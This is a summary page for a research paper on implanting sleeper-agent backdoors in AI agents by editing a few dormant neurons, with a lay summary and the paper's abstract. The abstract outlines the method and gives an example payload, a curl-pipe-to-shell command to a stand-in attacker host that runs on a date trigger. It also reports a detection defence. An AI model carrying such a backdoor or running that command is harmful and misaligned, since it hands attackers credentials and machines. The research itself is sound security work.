How Hackers Can Implant Secret Backdoors into AI Brains
Original paper: Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
"Think of the AI's neural network as a giant mechanical piano roll with thousands of tracks. By altering just a few rarely used pins, malicious actors can program the instrument to automatically play a destructive, multi-note sabotage song the exact moment a specific trigger phrase is whispered."
As autonomous AI agents gain deep access to corporate systems and financial tools to work completely unattended, the integrity of model weights becomes a critical cybersecurity battlefield. Companies can no longer trust a model's clean performance on benchmarks alone; they must audit model weights just like source code before letting them touch real systems.
- Hackers can create sleeper AI agents by editing fewer than ten neurons.
- The backdoor activates instantly upon seeing a specific text trigger.
- Model weights must be audited and treated like executable software code.
📑 Original arXiv Technical Abstract
Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally. We show that a method we call Lazarus can turn a capable model into such a sleeper agent by editing fewer than ten neurons, without model training. Lazarus edits dormant neurons in the model's final feed-forward block, forcing each to promote a payload token through its contribution to the residual stream, when a trigger is present. A P-token payload therefore requires about P neurons. The trigger can be an ordinary string appearing anywhere in the agent's context. The edited weights are set in closed form and can be refined in isolation with a few hundred gradient steps. The core insight that dormant neurons can be individually edited and chained to produce a multi-token payload was discovered autonomously by Claude Code with Opus 4.5 in February 2026. On Nemotron-Terminal-8B, seven of 12,000+ neurons, fitted on 23 trigger/no-trigger trajectories, fire the payload on at least 98.8% of triggered test trajectories, with no observed payload leakage on the evaluated benign trajectories. The attack generalizes: Qwen3.6-27B and Gemma-4-31B-IT are equally vulnerable. The same structure that makes the attack possible also makes it detectable. Agent built defenses, given no reference model, flag 91.4% of edited test checkpoints at a 9.7% FP rate. Our results underscore that model weights should be treated like code, audited before deployment and monitored for post-deployment updates.
✍️ Are you an author of this paper? Add code/demo links or a note
Help readers explore your work — share your official GitHub repo, Hugging Face weights, affiliation, or a clarification note for our editorial review queue.